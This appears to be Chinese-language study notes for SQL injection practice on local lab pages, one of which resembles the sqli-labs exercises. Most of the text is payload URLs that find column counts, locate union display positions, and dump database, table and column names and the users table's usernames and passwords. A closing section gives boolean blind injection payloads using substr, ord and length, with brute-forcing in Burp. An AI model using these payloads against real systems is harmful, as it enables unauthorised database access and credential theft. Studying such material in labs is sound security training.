http://127.0.0.1/ry.php?ry_id=1
http://127.0.0.1/ry.php?ry_id=1'
http://127.0.0.1/ry.php?ry_id=1' -- -
http://127.0.0.1/ry.php?ry_id=1 -- -
http://127.0.0.1/ry.php?ry_id=1 and 1=1-- -
http://127.0.0.1/ry.php?ry_id=1 and 1=2-- -
2.求列数
http://127.0.0.1/ry.php?ry_id=1 order by 1-- -
http://127.0.0.1/ry.php?ry_id=1 order by 2-- -
http://127.0.0.1/ry.php?ry_id=1 order by 3-- -
http://127.0.0.1/ry.php?ry_id=1 order by 4-- -
http://127.0.0.1/ry.php?ry_id=1 order by 5-- -
3.求显示位数
http://127.0.0.1/ry.php?ry_id=1 union select 1,2,3,4-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,3,4-- -
4.爆数据库
5.爆表名
6.爆列名
7.爆字段名
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),database()-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),group_concat(column_name) from information_schema.columns where table_schema=database()-- -
http://127.0.0.1/Less-1/?id=-2 union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'-- -
http://127.0.0.1/Less-1/?id=-2 union select 1,version(),group_concat(id,0x23,username,0x23,password) from users-- -
http://127.0.0.1/Less-1/?id=-2 union select 1,version(),group_concat(id,' ',username,0x23,password) from users-- -
http://127.0.0.1/ry.php?ry_id=-1 union select 1,2,version(),group_concat(l_id,l_title,l_lynr,l_time,l_ip,l_ckroot,l_name,l_mail) from book -- - 3.Bool注入
bool注入属于盲注的一种,他的返回值只有yes或者no
相关函数:
substr(字段名,A,N) 函数用来指定字段从第A个字符向后截取N个字
ascii() 返回字符的ASCII码
length(...) 返回文本字段中值的长度
ord(s) 返回s的ASCII值
sleep() 休眠一段时间,这里也可以用页面显示延迟的实践队字段进行猜测
测试链接:http://127.0.0.1/boolean.php?id=1
首先判断数据库的长度 ‘ and length(database())>=3-- + 和 ‘ and length(database())>=4-- +这样的语句判断,当数据库长度为3时,页面返回yes,为4时,返回no;由此判断数据库长度为3
接着可以逐个字符判断数据库名 ' and substr(database(),1,1)='t'-- + 这里可以用burp爆破字段值;也可以用ASCII值进行爆破 ' and ord(substr(database(),1,1))=115-- + 这里爆破点在115这个位置上
最后查询表名和字段名,语句的位置在database的位置上 ' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='e'-- + 以此类推